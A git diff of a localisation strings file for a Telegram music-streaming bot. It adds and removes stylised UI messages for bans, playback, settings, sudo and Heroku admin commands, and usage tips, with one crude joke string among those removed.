+gban_1 : "» ᴡʜʏ ᴅɪᴅ ʏᴏᴜ ᴡᴀɴɴᴀ ɢʙᴀɴ ʏᴏᴜʀsᴇʟғ ʙᴀʙʏ ?"
+gban_2 : "» ᴡʜʏ sʜᴏᴜʟᴅ ɪ ɢʙᴀɴ ᴍʏsᴇʟғ ?"
+gban_3 : "» ʏᴏᴜ ᴄᴀɴ'ᴛ ɢʙᴀɴ ᴍʏ sᴜᴅᴏᴇʀs."
+gban_4 : "» {0} ɪs ᴀʟʀᴇᴀᴅʏ ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ."
+gban_5 : "» ɪɴɪᴛɪᴀʟɪᴢɪɴɢ ɢʟᴏʙᴀʟ ʙᴀɴ ᴏɴ {0}.\n\nᴛɪᴍᴇ ᴇxᴘᴇᴄᴛᴇᴅ : {1}"
+gban_6 : "ɴᴇᴡ ɢʟᴏʙᴀʟ ʙᴀɴ ᴏɴ {0} :\n\nᴏʀɪɢɪɴᴀᴛᴇᴅ ғʀᴏᴍ : {1} [{2}
]\nᴜsᴇʀ : {3}\nᴜsᴇʀ ɪᴅ : {4}\n\nʙᴀɴɴᴇᴅ ʙʏ : {5}\nᴄʜᴀᴛs : {6}"
+gban_7 : "» {0} ɪs ɴᴏᴛ ɢʙᴀɴɴᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ."
+gban_8 : "» ʟɪғᴛɪɴɢ ɢʟᴏʙᴀʟ ʙᴀɴ ғʀᴏᴍ {0}.\n\nᴇxᴘᴇᴄᴛᴇᴅ ᴛɪᴍᴇ : {1}"
+gban_9 : "» ʟɪғᴛᴇᴅ ɢʟᴏʙᴀʟ ʙᴀɴ ғʀᴏᴍ {0}.\n\nᴜɴʙᴀɴɴᴇᴅ ɪɴ {1} ᴄʜᴀᴛs."
+gban_10 : "» ɴᴏ ᴏɴᴇ ɪs ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ."
+gban_11 : "» ғᴇᴛᴄʜɪɴɢ ɢʙᴀɴɴᴇᴅ ᴜsᴇʀs ʟɪsᴛ..."
+gban_12 : "🙂 ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ᴜsᴇʀs :\n\n"
+
+#Song
+SG_B_1 : "• ᴄʟɪᴄᴋ ʜᴇʀᴇ •"
+SG_B_2 : "🎧 ᴀᴜᴅɪᴏ 🎧"
+SG_B_3 : "🎥 ᴠɪᴅᴇᴏ 🎥"
# Song
song_1 : "ʏᴏᴜ ᴄᴀɴ ᴅᴏᴡɴʟᴏᴀᴅ ᴍᴜsɪᴄ ᴏʀ ᴠɪᴅᴇᴏ ꜰʀᴏᴍ ʏᴏᴜᴛᴜʙᴇ ᴏɴʟʏ ɪɴ ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ. ᴘʟᴇᴀsᴇ sᴛᴀʀᴛ ᴍᴇ ɪɴ ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ."
@@ -219,253 +352,3 @@ song_9 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ sᴏɴɢ ꜰʀᴏᴍ ʏ
song_10 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴜᴘʟᴏᴀᴅ ᴏɴ ᴛᴇʟᴇɢʀᴀᴍ sᴇʀᴠᴇʀs."
song_11 : "ᴜᴘʟᴏᴀᴅɪɴɢ sᴛᴀʀᴛᴇᴅ ʙᴀʙʏ\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..."
-# Tools - Queue
-queue_1 : "» ᴩʟᴇᴀsᴇ ᴡᴀɪᴛ..."
-queue_2 : "Queued List is empty. No tracks found"
-queue_3 : "**Queued Tracks:** [Checkout More Queued Tracks From Here]({0})"
-queue_4 : "**💘 ᴀᴅᴅᴇᴅ ᴛᴏ ǫᴜᴇᴜᴇ ᴀᴛ #{0}**\n\n**🍒 ᴛɪᴛʟᴇ :** {1}\n**⏱ ᴅᴜʀᴀᴛɪᴏɴ :** {2}\n🥀 **ᴀᴅᴅᴇᴅ ʙʏ :** {3}"
-queue_5 : "ᴏɴʟʏ ᴏɴᴇ ᴛʀᴀᴄᴋ ɪs ɪɴ ǫᴜᴇᴜᴇ, ᴀᴅᴅ sᴏᴍᴇ ᴍᴏʀᴇ ᴛʀᴀᴄᴋs ɪɴ ǫᴜᴇᴜᴇ ᴛᴏ ᴄʜᴇᴄᴋ ᴡʜᴏʟᴇ ǫᴜᴇᴜᴇ."
-
-# All Streaming Lines
-stream_1 : "┏☛•🖤ꜱ⃟нͥινͣαͫиѕнυ🖤•☚┓\n\n❤️🔥 𝘚𝘵𝘢𝘳𝘵𝘦𝘥 𝘗𝘭𝘢𝘺𝘪𝘯𝘨 😈\n\n🎙𝘗𝘭𝘢𝘺𝘦𝘥 𝘉𝘺: {0}\n\n💝 𝘐𝘯𝘧𝘰𝘳𝘮𝘢𝘵𝘪𝘰𝘯: [Here]({1}) \n @TheShivanshu"
-stream_2 : "┏☛•🖤ꜱ⃟нͥινͣαͫиѕнυ🖤•☚┓\n\n❤️🔥 𝘚𝘵𝘢𝘳𝘵𝘦𝘥 𝘗𝘭𝘢𝘺𝘪𝘯𝘨 𝘝𝘪𝘢 𝘜𝘳𝘭 😈\n\n💫𝘗𝘭𝘢𝘺𝘦𝘥 𝘉𝘺: {0} \n @TheShivanshu"
-stream_3 : "┏☛•🖤ꜱ⃟нͥινͣαͫиѕнυ🖤•☚┓\n\n❤️🔥 𝘚𝘵𝘢𝘳𝘵𝘦𝘥 𝘗𝘭𝘢𝘺𝘪𝘯𝘨 😈\n\n🔭𝘛𝘪𝘵𝘭𝘦: {0}\n\n💝 𝘋𝘶𝘳𝘢𝘵𝘪𝘰𝘯: {1}\n\n💫𝘗𝘭𝘢𝘺𝘦𝘥 𝘉𝘺: {2} \n @TheShivanshu"
-stream_4 : "┏☛•🖤ꜱ⃟нͥινͣαͫиѕнυ🖤•☚┓\n\n❤️🔥 𝘚𝘵𝘢𝘳𝘵𝘦𝘥 𝘗𝘭𝘢𝘺𝘪𝘯𝘨 😈\n\n🔭𝘛𝘪𝘵𝘭𝘦: [{0}]({1}) \n\n💝 𝘋𝘶𝘳𝘢𝘵𝘪𝘰𝘯: {2}\n\n💫𝘗𝘭𝘢𝘺𝘦𝘥 𝘉𝘺: {3} \n @TheShivanshu"
-
-# Inline Buttons
-
-#General Buttons
-CLOSE_BUTTON : "↻ ᴄʟᴏsᴇ ↻"
-CLOSEMENU_BUTTON : "↻ ᴄʟᴏsᴇ ↻"
-BACK_BUTTON : "◁"
-UNBAN_BUTTON : "• ᴜɴʙᴀɴ •"
-
-#Lyrics
-L_B_1 : "🚀 ᴄʜᴇᴄᴋᴏᴜᴛ ʟʏʀɪᴄs ɴᴏᴡ"
-
-# Start
-S_B_1 : "👨💻 ᴄᴏᴍᴍᴀɴᴅs 👨💻"
-S_B_2 : "⚙️ sᴇᴛᴛɪɴɢs ⚙️"
-S_B_3 : "💌 sᴜᴘᴘᴏʀᴛ 💌"
-S_B_4 : "🌟 ᴄʜᴀɴɴᴇʟ 🌟"
-S_B_5 : "➕ ᴀᴅᴅ ᴍᴇ ᴛᴏ ʏᴏᴜʀ ɢʀᴏᴜᴘ ➕"
-S_B_6 : "😳 ɢɪᴛ ʀᴇᴘᴏ 😳"
-S_B_7 : "🔥 ᴏᴡɴᴇʀ 🔥"
-S_B_8 : "🤔 ʜᴇʟᴩ 🤔"
-S_B_9 : "❤️🔥"
-
-#Help
-H_B_1 : "✌️ ᴀᴅᴍɪɴ ✌️"
-H_B_2 : "😜 ᴘʟᴀʏ 😜"
-H_B_3 : "🤦 ʙᴏᴛ 🤦"
-H_B_4 : "🥺 ᴇxᴛʀᴀ 🥺"
-H_B_5 : "↻ ᴄʟᴏsᴇ ↻"
-H_B_6 : "🙊 sᴜᴅᴏ 🙊"
-
-#PlayMode
-PM_B_1 : "ᴅɪʀᴇᴄᴛ ᴘʟᴀʏ"
-PM_B_2 : "ɪɴʟɪɴᴇ ᴍᴀʀᴋᴜᴘ"
-PM_B_3 : "ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ"
-
-#Play
-P_B_1 : "🎧 ᴀᴜᴅɪᴏ 🎧"
-P_B_2 : "❤️🩹 ᴠɪᴅᴇᴏ ❤️🩹"
-P_B_3 : "🖤 ʟɪᴠᴇ 🖤"
-P_B_4 : "❤️🩹 ᴘʟᴀʏʟɪsᴛ ❤️🩹"
-
-#Playlist
-PL_B_1 : "🥲 ᴘʟᴀʏʟɪsᴛ 🥲"
-PL_B_2 : "♡︎ ᴘʟᴀʏʟɪsᴛs ♡︎"
-PL_B_3 : "♡︎ ᴄᴘᴀɴɴᴇʟ ♡︎"
-PL_B_4 : "🎧 ᴘʟᴀʏ ᴍᴏᴅᴇ"
-PL_B_5 : "🗑 ᴅᴇʟᴇᴛᴇ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ"
-PL_B_6 : "🗑 ᴅᴇʟᴇᴛᴇ ᴘʟᴀʏʟɪsᴛ"
-PL_B_7 : "🥺 ʏᴇᴀʜ, ᴅᴇʟᴇᴛᴇ ɪᴛ"
-PL_B_8 : "🔢 ᴘʟᴀʏ ᴛᴏᴘ 10"
-PL_B_9 : "🔥 ᴘʟᴀʏ ɢʟᴏʙᴀʟ ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs"
-PL_B_10 : "🏘 ᴘʟᴀʏ ɢʀᴏᴜᴘ's ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs"
-PL_B_11 : "💖 ᴘʟᴀʏ ᴘᴇʀsᴏɴᴀʟ ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs"
-
-#Settings
-ST_B_1 : "🔊 ᴀᴜᴅ ǫᴜᴀʟɪᴛʏ"
-ST_B_2 : "🎥 ᴠɪᴅ ǫᴜᴀʟɪᴛʏ"
-ST_B_3 : "🎩 ᴀᴜᴛʜ ᴜsᴇʀs"
-ST_B_4 : "📱 ᴅᴀsʜʙᴏᴀʀᴅ"
-ST_B_5 : "▶️ ᴘʟᴀʏ ᴍᴏᴅᴇ"
-ST_B_6 : "🇮🇳 ʟᴀɴɢᴜᴀɢᴇ 🇮🇳"
-ST_B_7 : "🗑 ᴄʟᴇᴀɴ ᴍᴏᴅᴇ"
-ST_B_8 : "{0} ʟᴏᴡ ǫᴜᴀʟɪᴛʏ"
-ST_B_9 : "{0} ᴍᴇᴅɪᴜᴍ ǫᴜᴀʟɪᴛʏ"
-ST_B_10 : "{0} ʜɪɢʜ ǫᴜᴀʟɪᴛʏ"
-ST_B_11 : "{0} ʟᴏᴡ ǫᴜᴀʟɪᴛʏ"
-ST_B_12 : "{0} ᴍᴇᴅɪᴜᴍ ǫᴜᴀʟɪᴛʏ"
-ST_B_13 : "{0} ʜɪɢʜ ǫᴜᴀʟɪᴛʏ"
-ST_B_14 : "✅ ᴇɴᴀʙʟᴇᴅ"
-ST_B_15 : "❌ ᴅɪsᴀʙʟᴇᴅ"
-ST_B_16 : "🥺 ᴀᴅᴍɪɴs"
-ST_B_17 : "🙄 ᴇᴠᴇʀʏᴏɴᴇ"
-ST_B_18 : "📋 ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs"
-ST_B_19 : "🔎 sᴇᴀʀᴄʜ ᴍᴏᴅᴇ"
-ST_B_20 : "🤤 ᴅɪʀᴇᴄᴛ"
-ST_B_21 : "🙄 ɪɴʟɪɴᴇ"
-ST_B_22 : "⏯ ᴘʟᴀʏ ᴍᴏᴅᴇ"
-ST_B_23 : "🏘 ɢʀᴏᴜᴘ"
-ST_B_24 : "🏷 ᴄʜᴀɴɴᴇʟ"
-ST_B_25 : "🫂 ᴘʟᴀʏ ᴛʏᴘᴇ"
-ST_B_26 : "🗑 ᴄᴏᴍᴍᴀɴᴅ ᴄʟᴇᴀɴ"
-ST_B_27 : "🧑🚀 sᴜɢɢᴇsᴛɪᴏɴ ᴍᴏᴅᴇ"
-
-#Song
-SG_B_1 : "๏ ᴄʟɪᴄᴋ ʜᴇʀᴇ ๏"
-SG_B_2 : "🎧 ᴀᴜᴅɪᴏ 🎧"
-SG_B_3 : "🎥 ᴠɪᴅᴇᴏ 🎥"
-
-#Stats
-SA_B_1 : "📢 ᴛᴏᴘ 10 ᴄʜᴀᴛs"
-SA_B_2 : "🔢 ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs"
-SA_B_3 : "🧛 ᴛᴏᴘ 10 ᴜsᴇʀs"
-SA_B_4 : "🏷 ᴛᴏᴘ 10 ʜᴇʀᴇ"
-SA_B_5 : "🍒 ᴏᴠᴇʀᴀʟʟ sᴛᴀᴛs"
-SA_B_6 : "💖 ᴜsᴇʀ sᴛᴀᴛs"
-SA_B_7 : "🔢 ɢʟᴏʙᴀʟ ᴛᴏᴘ 10 sᴛᴀᴛs"
-SA_B_8 : "🤖 ʙᴏᴛ sᴛᴀᴛs"
-
-#Queue
-QU_B_1 : "📑 ǫᴜᴇᴜᴇᴅ ʟɪsᴛ"
-QU_B_2 : "ᴩʟᴀʏᴇᴅ {0} ᴏᴜᴛ ᴏғ {1} ᴍɪɴs"
-
-# Sudo Users [ If you are translating this to some other language .. you can leave all these strings in english language]
-
-#Sudo
-sudo_1 : "{0} ɪs ᴀʟʀᴇᴀᴅʏ ᴀ sᴜᴅᴏ ᴜsᴇʀ."
-sudo_2 : "ᴀᴅᴅᴇᴅ **{0}** ᴛᴏ sᴜᴅᴏ ᴜsᴇʀs."
-sudo_3 : "ɴᴏᴛ ᴀ ᴘᴀʀᴛ ᴏꜰ ʙᴏᴛ's sᴜᴅᴏ."
-sudo_4 : "ʀᴇᴍᴏᴠᴇᴅ ꜰʀᴏᴍ ʙᴏᴛ's sᴜᴅᴏ ᴜsᴇʀ."
-sudo_5 : "💔 **ᴏᴡɴᴇʀs:**\n"
-sudo_6 : "\n💞 **sᴜᴅᴏᴇʀs:**\n"
-sudo_7 : "ɴᴏ sᴜᴅᴏ ᴜsᴇʀs ғᴏᴜɴᴅ."
-
-#Block
-block_1 : "{0} ɪs ᴀʟʀᴇᴀᴅʏ ʙʟᴏᴄᴋᴇᴅ ꜰʀᴏᴍ ᴛʜᴇ ʙᴏᴛ."
-block_2 : "ᴀᴅᴅᴇᴅ **{0}** ᴛᴏ ʙʟᴏᴄᴋ ʟɪsᴛ ᴏꜰ ʙᴏᴛ. ᴜsᴇʀ ᴡᴏɴ'ᴛ ʙᴇ ᴀʙʟᴇ ᴛᴏ ᴜsᴇ ʙᴏᴛ ɴᴏᴡ ᴜɴᴅᴇʀ ᴀɴʏ ᴄᴏɴᴅɪᴛɪᴏɴ.\n\nᴄʜᴇᴄᴋ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs: /blockedusers"
-block_3 : "ᴜsᴇʀ ɪs ᴀʟʀᴇᴀᴅʏ ꜰʀᴇᴇ."
-block_4 : "ʀᴇᴍᴏᴠᴇᴅ ᴜsᴇʀ ꜰʀᴏᴍ ᴛʜᴇ ʙʟᴏᴄᴋ ʟɪsᴛ. ᴜsᴇʀ ᴡɪʟʟ ʙᴇ ᴀʙʟᴇ ᴛᴏ ᴜsᴇ ʙᴏᴛ ɴᴏᴡ."
-block_5 : "ɴᴏ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ꜰᴏᴜɴᴅ."
-block_6 : "ɢᴇᴛᴛɪɴɢ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ...ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ !"
-block_7 : "**ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs:**\n\n"
-
-#Blacklist Chats
-black_1 : "**ᴜsᴀɢᴇ:**\n/blacklistchat [CHAT_ID]"
-black_2 : "ᴄʜᴀᴛ ɪs ᴀʟʀᴇᴀᴅʏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ."
-black_3 : "ᴄʜᴀᴛ ʜᴀs ʙᴇᴇɴ sᴜᴄᴄᴇssꜰᴜʟʟʏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ʙᴀʙʏ"
-black_4 : "**ᴜsᴀɢᴇ:**\n/whitelistchat [CHAT_ID]"
-black_5 : "ᴄʜᴀᴛ ɪs ᴀʟʀᴇᴀᴅʏ ᴡʜɪᴛᴇʟɪsᴛᴇᴅ."
-black_6 : "ᴄʜᴀᴛ ʜᴀs ʙᴇᴇɴ sᴜᴄᴄᴇssꜰᴜʟʟʏ ᴡʜɪᴛᴇʟɪsᴛᴇᴅ ʙᴀʙʏ"
-black_7 : "**ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs:**\n\n"
-black_8 : "ɴᴏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs."
-
-#videolimit
-vid_1 : "**ᴜsᴀɢᴇ:**\n/set_video_limit [ɴᴜᴍʙᴇʀ ᴏғ ᴄʜᴀᴛs] ᴏʀ [ᴅɪsᴀʙʟᴇ]"
-vid_2 : "ᴘʟᴇᴀsᴇ ᴜsᴇ ɴᴜᴍᴇʀɪᴄ ɴᴜᴍʙᴇʀs ꜰᴏʀ sᴇᴛᴛɪɴɢ ʟɪᴍɪᴛ."
-vid_3 : "ᴠɪᴅᴇᴏ ᴄᴀʟʟs ᴍᴀxɪᴍᴜᴍ ʟɪᴍɪᴛ ᴅᴇꜰɪɴᴇᴅ ᴛᴏ {0} ᴄʜᴀᴛs."
-vid_4 : "ᴠɪᴅᴇᴏ ᴄᴀʟʟs ᴅɪsᴀʙʟᴇᴅ."
-
-#maintenance
-maint_1 : "**ᴜsᴀɢᴇ:**\n/maintenance [enable|disable]"
-maint_2 : "ᴇɴᴀʙʟᴇᴅ ꜰᴏʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ."
-maint_3 : "ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴅɪsᴀʙʟᴇᴅ."
-
-#log
-log_1 : "**ᴜsᴀɢᴇ:**\n/logger [enable|disable]"
-log_2 : "ᴇɴᴀʙʟᴇᴅ ʟᴏɢɢɪɴɢ."
-log_3 : "ᴅɪsᴀʙʟᴇᴅ ʟᴏɢɢɪɴɢ."
-
-#videomode
-vidmode_1 : "**ᴜsᴀɢᴇ:**\n/videomode [download|m3u8]"
-vidmode_2 : "ᴠɪᴅᴇᴏ ᴘʟᴀʏ ᴍᴏᴅᴇ sᴇᴛ ᴀs ᴅᴏᴡɴʟᴏᴀᴅᴇʀ. ʙᴏᴛ ᴡɪʟʟ ʙᴇ ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ ᴛʀᴀᴄᴋs ɴᴏᴡ."
-vidmode_3 : "ᴠɪᴅᴇᴏ ᴘʟᴀʏ ᴍᴏᴅᴇ sᴇᴛ ᴀs ᴍ3ᴜ8. ʙᴏᴛ ᴡɪʟʟ ʙᴇ ᴀʙʟᴇ ᴛᴏ ᴘʟᴀʏ ᴛʀᴀᴄᴋs ʟɪᴠᴇ ɴᴏᴡ."
-
-#broadcast
-broad_1 : "**ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ɪɴ {0} ᴄʜᴀᴛs ᴡɪᴛʜ {1} ᴘɪɴs ꜰʀᴏᴍ ʙᴏᴛ.**"
-broad_2 : "sᴛᴀʀᴛᴇᴅ ᴀssɪsᴛᴀɴᴛ ʙʀᴏᴀᴅᴄᴀsᴛ..."
-broad_3 : "**ᴀssɪsᴛᴀɴᴛ ʙʀᴏᴀᴅᴄᴀsᴛ:\n\n"
-broad_4 : "ᴀssɪsᴛᴀɴᴛ {0} ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ɪɴ {1} ᴄʜᴀᴛs\n"
-broad_5 : "**ᴜsᴀɢᴇ**:\n/broadcast [MESSAGE] or [Reply to a Message]"
-broad_6 : "ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ʙʀᴏᴀᴅᴄᴀsᴛ."
-broad_7 : "**ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ᴛᴏ {0} ᴜsᴇʀs.**"
-
-#Heroku
-heroku_1 : "ᴘʟᴇᴀsᴇ ᴍᴀᴋᴇ sᴜʀᴇ ʏᴏᴜʀ **ʜᴇʀᴏᴋᴜ ᴀᴘɪ ᴋᴇʏ**, ʏᴏᴜʀ **ᴀᴘᴘ ɴᴀᴍᴇ** ᴀʀᴇ ᴄᴏɴꜰɪɢᴜʀᴇᴅ ᴄᴏʀʀᴇᴄᴛʟʏ ɪɴ ʜᴇʀᴏᴋᴜ ʙᴀʙʏ"
-heroku_2 : "ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ɢᴇᴛ ʟᴏɢs ᴏꜰ ʜᴇʀᴏᴋᴜ ᴀᴘᴘs."
-heroku_3 : "**ᴜsᴀɢᴇ:**\n/get_var [Var Name]"
-heroku_4 : "ᴜɴᴀʙʟᴇ ᴛᴏ ꜰɪɴᴅ ᴀɴʏ sᴜᴄʜ ᴠᴀʀ."
-heroku_5 : ".ᴇɴᴠ ꜰɪʟᴇ ɴᴏᴛ ꜰᴏᴜɴᴅ."
-heroku_6 : "**ᴜsᴀɢᴇ:**\n/del_var [Var Name]"
-heroku_7 : "{0} ᴅᴇʟᴇᴛᴇᴅ."
-heroku_8 : "**ᴜsᴀɢᴇ:**\n/set_var [Var Name] [Var Value]"
-heroku_9 : "{0} ʜᴀs ʙᴇᴇɴ ᴜᴘᴅᴀᴛᴇᴅ sᴜᴄᴄᴇssꜰᴜʟʟʏ."
-heroku_10 : "{0} ʜᴀs ʙᴇᴇɴ ᴀᴅᴅᴇᴅ sᴜᴄᴄᴇssꜰᴜʟʟʏ."
-heroku_11 : "ᴏɴʟʏ ꜰᴏʀ ʜᴇʀᴏᴋᴜ ᴀᴘᴘs ʙᴀʙʏ."
-heroku_12 : "ᴄʜᴇᴄᴋɪɴɢ ʜᴇʀᴏᴋᴜ ᴜsᴀɢᴇ...ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ !"
-heroku_13 : "ᴄʜᴇᴄᴋɪɴɢ ꜰᴏʀ ᴀᴠᴀɪʟᴀʙʟᴇ ᴜᴘᴅᴀᴛᴇs..."
-heroku_14 : "ɢɪᴛ ᴄᴏᴍᴍᴀɴᴅ ᴇʀʀᴏʀ."
-heroku_15 : "ɪɴᴠᴀʟɪᴅ ɢɪᴛ ʀᴇᴘsɪᴛᴏʀʏ."
-
-#Private bot mode
-pbot_1 : "**ᴜsᴀɢᴇ:**\n/authorize [CHAT_ID]"
-pbot_2 : "**ᴜsᴀɢᴇ:**\n/unauthorize [CHAT_ID]"
-pbot_3 : "ᴀᴅᴅᴇᴅ ɢɪᴠᴇɴ ᴄʜᴀᴛ ᴛᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ʟɪsᴛ."
-pbot_4 : "ʀᴇᴍᴏᴠᴇᴅ ɢɪᴠᴇɴ ᴄʜᴀᴛ ꜰʀᴏᴍ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ʟɪsᴛ."
-pbot_5 : "ᴄʜᴀᴛ ɪs ᴀʟʀᴇᴀᴅʏ ɪɴ ᴛʜᴇ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ʟɪsᴛ."
-pbot_6 : "ɴᴏ sᴜᴄʜ ᴄʜᴀᴛ ᴇxɪsᴛs ɪɴ ᴛʜᴇ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ʟɪsᴛ."
-pbot_7 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴠᴇʀɪꜰʏ ᴄʜᴀᴛ_ɪᴅ.\n\nᴍᴀᴋᴇ sᴜʀᴇ ɪᴛs ɴᴜᴍᴇʀɪᴄ ᴀɴᴅ ɪɴ ᴄᴏʀʀᴇᴄᴛ ꜰᴏʀᴍᴀᴛ. ᴅᴏɴ'ᴛ ᴜsᴇ ᴄʜᴀᴛ ᴜsᴇʀɴᴀᴍᴇ ᴏʀ ʟɪɴᴋs."
-pbot_8 : "ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...ꜰᴇᴛᴄʜɪɴɢ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴄʜᴀᴛs.."
-pbot_9 : "**ꜰᴇᴛᴄʜᴇᴅ ᴄʜᴀᴛs:**\n\n"
-pbot_10 : "ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ"
-pbot_11 : "ɴᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴄʜᴀᴛs ꜰᴏᴜɴᴅ."
-pbot_12 : "ᴘʀɪᴠᴀᴛᴇ ʙᴏᴛ ᴍᴏᴅᴇ ɪs ᴅɪsᴀʙʟᴇᴅ.\n\nᴛᴏ ᴜsᴇ ʏᴏᴜʀ ʙᴏᴛ ᴀs ᴘʀɪᴠᴀᴛᴇ ʙᴏᴛ ᴍᴀᴋᴇ sᴜʀᴇ ᴛᴏ sᴇᴛ **ᴘʀɪᴠᴀᴛᴇ_ʙᴏᴛ_ᴍᴏᴅᴇ** = **ᴛʀᴜᴇ**"
-pbot_13 : "\n**ᴜɴꜰᴇᴛᴄʜᴇᴅ ᴄʜᴀᴛs:**\n\n"
-
-
-#Gbanned
-gban_1 : "ʏᴏᴜ ᴄᴀɴ'ᴛ ɢʙᴀɴ ʏᴏᴜʀsᴇʟғ ? ʙʟᴏᴏᴅʏ ɴᴏᴏʙ !"
-gban_2 : "ʏᴏᴜ ᴡᴀɴᴛ ᴍᴇ ᴛᴏ ɢʙᴀɴ ᴍʏsᴇʟғ ? ʙʟᴏᴏᴅʏ ᴍᴏᴛʜᴇʀғᴜ*ᴋᴇʀ."
-gban_3 : "ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ɢʙᴀɴ ᴍʏ ᴇx ?"
-gban_4 : "{0} ɪs ᴀʟʀᴇᴀᴅʏ **ɢʙᴀɴɴᴇᴅ** ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ."
-gban_5 : "**ɢʟᴏʙᴀʟ ʙᴀɴɴɪɴɢ {0}**\n\nᴇxᴩᴇᴄᴛᴇᴅ ᴛɪᴍᴇ : {1}."
-gban_6 : "**ɢʙᴀɴɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ**\n\nʙᴀɴɴᴇᴅ **{0}** ғʀᴏᴍ **{1}** ᴄʜᴀᴛs."
-gban_7 : "{0} ɪs ɴᴏᴛ **ɢʙᴀɴɴᴇᴅ **, ʜᴏᴡ ᴄᴀɴ ɪ ᴜɴɢʙᴀɴ ʜɪᴍ ?"
-gban_8 : "**ᴜɴɢʙᴀɴɴɪɴɢ {0}**\n\nᴇxᴩᴇᴄᴛᴇᴅ ᴛɪᴍᴇ : {1}."
-gban_9 : "**ᴜɴɢʙᴀɴɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ**\n\nᴜɴʙᴀɴɴᴇᴅ **{0}** ɪɴ **{1}** ᴄʜᴀᴛs."
-gban_10 : "ɴᴏ ᴏɴᴇ ɪs ɢʙᴀɴɴᴇᴅ."
-gban_11 : "ɢᴇᴛᴛɪɴɢ ɢʙᴀɴɴᴇᴅ ᴜsᴇʀs ʟɪsᴛ..."
-
-#Suggestions
-sug_0 : "❓**Do You Know?**\n\n✅ "
-sug_1 : "You can play music in two **search modes** i.e. Direct Mode and Inline Mode.\n\nChange modes via /playmode"
-sug_2 : "You can play music in two **play types** i.e. Everyone Mode and Admins Mode.\n\nChange modes via /playmode"
-sug_3 : "You can play music in **channels** too.\n\nSet channel_id via /channelplay and play via /cplay "
-sug_4 : "Non Admins can use admin commands too by adding them to** AUTH USERS LIST**. \nAdd any user to auth list by /auth , remove with /unauth and check auth users via /authusers"
-sug_5 : "Bot has a feature called **Clean Mode**.\nIt deletes the bot's messages after 5 Mins and ensures that your chat remains clean.\n\nEnable or disable cleanmode from /settings [__Enabled by default__]"
-sug_6 : "You can play **Spotify** tracks and playlists too.\n\nStart playing now with /play [Spotify Link]"
-sug_7 : "You can play **Apple Music** tracks and playlists too.\n\nStart playing now with /play [Apple Link]"
-sug_8 : "You can play **Resso Music** tracks and playlists too.\n\nStart playing now with /play [Resso Link]"
-sug_9 : "You can play **Sound Cloud** tracks and playlists too.\n\nStart playing now with /play [SoundCloud Link]"
-sug_10 : "You can play **Videos** in voice chat via /vplay [Video Name] or /play -v [Video Name]"
-sug_11 : "You can set **Audio Quality** of voice chat to Low, Medium or High.\n\nSet quality via /settings"
-sug_12 : "You can set **Video Quality** of voice chat to Low, Medium or High.\n\nSet quality via /settings"
-sug_13 : "You can check your **Statistics** on bot like Top 10 Played Tracks.\n\nGet Stats: /gstats "
-sug_14 : "You can check **Group's Stats** on bot like Top 10 Played Tracks.\n\nGet Stats: /gstats "
-sug_15 : "You can check bot's **Global Stats** like top 10 users, top 10 chats, top 10 tracks etc etc.\n\nCheck Stats: /gstats "
-sug_16 : "You can now mute the music which is playing on voice chat.\n\nCommand: /mute"
-sug_17 : "You can now unmute and mute the music which is playing on voice chat.\n\nCommand: /mute and /unmute"
-sug_18 : "You can search the lyrics of musics with us too..\n\nCommand: /lyrics [Music Name]"
-sug_19 : "You can download the music or video from the bot through Youtube.\n\nCommand: /song [Music Name]"
-sug_20 : "You can get a complete list of my commands that i accept.\n\nCommand: /help"
